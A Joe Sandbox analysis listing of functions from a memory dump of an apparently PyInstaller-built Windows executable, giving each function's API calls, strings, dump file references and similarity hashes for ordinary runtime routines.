Function 00007FF78DA52390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF78DA523C8
DialogBoxIndirectParamW.USER32 ref: 00007FF78DA5248E
DeleteObject.GDI32 ref: 00007FF78DA524C1
DestroyIcon.USER32 ref: 00007FF78DA524D3

Strings

Unhandled exception in script, xrefs: 00007FF78DA523F8

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: 210043caaac010a93c0631d00653b778f0504af554adb9aa90d00b3b86b5eb6d
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: 06317F7261DA8189EB20EB61F8546FAA3A0FF89784FA00135EA4D47B49EF3CC509C711

Function 00007FF78DA52B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF78DA5918F,?,00007FF78DA53C55), ref: 00007FF78DA52BA0
MessageBoxW.USER32 ref: 00007FF78DA52C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF78DA52BA8
WARNING, xrefs: 00007FF78DA52BAF
Warning, xrefs: 00007FF78DA52C1D

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: fe9ac493e18f73684a648176894025a5848d5c0e558efdead6b622f548a13ef8
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: D621946270CB4181E711AB54B444BEAA364FB88784FA04135EE8D97655EE3CDA09C751

Function 00007FF78DA52710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF78DA51B99), ref: 00007FF78DA52760

Strings

[PYI-%d:%s] , xrefs: 00007FF78DA52768
Error [ANSI Fallback], xrefs: 00007FF78DA527CF
ERROR, xrefs: 00007FF78DA5276F
Error, xrefs: 00007FF78DA527DE

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: a102679c207bf8e8a0f28fad2fd7a5f3d7ad7702f2b82e44d499fd2343d61ec9
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: B4219572A1C78192E710EB50B841BE6A3A4FB887C4FA00131FE8D83659EF7CD949C751

Function 00007FF78DA69AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF78DA69B1D
GetProcAddress.KERNEL32 ref: 00007FF78DA69B33
FreeLibrary.KERNEL32 ref: 00007FF78DA69B5A

Strings

CorExitProcess, xrefs: 00007FF78DA69B2C
mscoree.dll, xrefs: 00007FF78DA69B14

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 72ab25b0d785d11fd6e1115f2063ef642eb6c8d33b7a82586a82b6a73e8a1e5c
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: E0F0C261B0C70681FB10AB20E458B7A9360FF44765FB40235CAAE465E4EF2CD84CC321

Function 00007FF78DA793D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF78DA79400
_set_statfp.LIBCMT ref: 00007FF78DA7941B
_set_statfp.LIBCMT ref: 00007FF78DA79437
_set_statfp.LIBCMT ref: 00007FF78DA79473

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 15a373ea790007850609579bdeb63ce8226cffa9262739aecab754e36569cde9
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: A111C172F0CA1301F6547128D466B75A0547F98370FB40636EAEE262D6EE2CAC49C126

Function 00007FF78DA6B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF78DA6A613,?,?,00000000,00007FF78DA6A8AE,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6B41F
FlsSetValue.KERNEL32(?,?,?,00007FF78DA6A613,?,?,00000000,00007FF78DA6A8AE,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6B43E
FlsSetValue.KERNEL32(?,?,?,00007FF78DA6A613,?,?,00000000,00007FF78DA6A8AE,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6B466
FlsSetValue.KERNEL32(?,?,?,00007FF78DA6A613,?,?,00000000,00007FF78DA6A8AE,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6B477
FlsSetValue.KERNEL32(?,?,?,00007FF78DA6A613,?,?,00000000,00007FF78DA6A8AE,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6B488

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction ID: fe87278cb7da941245cb79dc62f6292f1cff67440d182af6861ec121ca6d04b5
Opcode Fuzzy Hash: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction Fuzzy Hash: 75115C20B0D602C1FA58B3A27555979E141BF447B0FB48334E83D466DAFE2CEC49C222

Function 00007FF78DA6B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF78DA6B2A5
FlsSetValue.KERNEL32 ref: 00007FF78DA6B2C4
FlsSetValue.KERNEL32 ref: 00007FF78DA6B2EC
FlsSetValue.KERNEL32 ref: 00007FF78DA6B2FD
FlsSetValue.KERNEL32 ref: 00007FF78DA6B30E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction ID: 85655f259aa023c54758b4078fda7fe78358ebd9714d0946d7aabd247445cf6c
Opcode Fuzzy Hash: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction Fuzzy Hash: F2110620B0D207C1FAA876B2645197AA2817F55720FF45734D93E4A6D2FD2DFC09C223

Function 00007FF78DA66010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA66176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6622C

Strings

verbose, xrefs: 00007FF78DA66020

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: a2ede9d1c40c8363dc97e4369c3a2cb868ff64512b51aec2ba9cb082f43d56b7
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: B591B122A0CA46C1E761AFA5E450B7DB399BB40B54FB84175DA4A432C5EF3CEC49C323

Function 00007FF78DA6FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6FF17

Part of subcall function 00007FF78DA67AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA67AC9

Strings

UTF-16LEUNICODE, xrefs: 00007FF78DA6FEB5
UTF-8, xrefs: 00007FF78DA6FE96
ccs, xrefs: 00007FF78DA6FE52

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: a08d9f6ad2b8ab32efdd35c8a0f8b11403c0644155585d673b93b4585291199d
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 5481C472D0D242C5F7656EA9E110A78BAA0BB11B48FF54035DA0987689FF2DFD09C323

Function 00007FF78DA5D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF78DA5D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF78DA5D77A
RtlUnwindEx.KERNEL32 ref: 00007FF78DA5D7D4

Strings

csm, xrefs: 00007FF78DA5D761

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 29a24ee05253321d072c1ef32378a92ee49d4d47cac94239ae5a4f9535a6faa5
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: B6519E22A1D6028ADF14AB55E444E38A7A1FB44B98FB48134DA5A87788EF3CEC45C711

Function 00007FF78DA5EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF78DA5EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF78DA5EFF3

Strings

RCC, xrefs: 00007FF78DA5EFC3
MOC, xrefs: 00007FF78DA5EFBB

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: cef95d814d5090ea8165d9027591160ace73f64f7c003eadcb86ff98093d5a5a
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 1361B03290CBC081EB20AB55E440BAAB7B0FB84B84F644225EB9C43B95EF3CD594CB11

Function 00007FF78DA5F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF78DA5F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF78DA5F408

Strings

csm, xrefs: 00007FF78DA5F45A
csm, xrefs: 00007FF78DA5F342

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 6f3e5ac5dfa9f89d4ffd3f71bae9a5a7fba8d825ad10f50285522984829bb87b
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 9C51A43290C28286EB64AF619044B78B7B0FB54B94FB44235DA5D87795EF3CE854C712

Function 00007FF78DA57E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF78DA5352C,?,00000000,00007FF78DA53F23), ref: 00007FF78DA57F22

Strings

\, xrefs: 00007FF78DA57E87
%.*s, xrefs: 00007FF78DA57EDB
%s%c, xrefs: 00007FF78DA57E94

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: 415e8dd1376490eaa2bf89541c392b936f9685d8d46cd9595350dcc6c6619958
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: C331EB2161DAC145EA21A710E410BBAA364FB44BD4FB00230EE6D877C9FE2CD909C711

Function 00007FF78DA52810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF78DA528EA

Strings

ERROR, xrefs: 00007FF78DA5286F
[PYI-%d:%ls] , xrefs: 00007FF78DA52868
Error, xrefs: 00007FF78DA528DD

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: ee63d275ee30840ba70978b0387a4ed20197289781e89d4d8cee318743aaeffa
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: 5B21916270CB4182E710AB54B444BEAA3A4FB88784FA04135EA8D9765AEF3CDA49C751

Function 00007FF78DA6C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF78DA6C68F
WriteFile.KERNEL32 ref: 00007FF78DA6C957
WriteFile.KERNEL32 ref: 00007FF78DA6C99D
GetLastError.KERNEL32 ref: 00007FF78DA6CA53

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: c2108a0d336869aac9ce2a27365cbd8d62e6254611d2b38c20fb4f9fd00c719e
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 9DD12872B1CA40C9E710EFA5E8405AC7B71FB54798BB08235DE5D97B89EE38D80AC351

Function 00007FF78DA6F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF78DA6FAEC
_get_daylight.LIBCMT ref: 00007FF78DA6FAFD
_get_daylight.LIBCMT ref: 00007FF78DA6FB0E
_isindst.LIBCMT ref: 00007FF78DA6FBD9

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 999691bae8b49fecbca7c1a0b76e9d0ce3c83a392617e9512f0710236e221ae3
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: 9D51E872F0C111CAFB14EF64A951ABCA765BB54398FB00135DE1D526E5EF38E809C711

Function 00007FF78DA657EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF78DA6581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF78DA65881
GetLastError.KERNEL32 ref: 00007FF78DA65912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78DA65724), ref: 00007FF78DA6595E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd
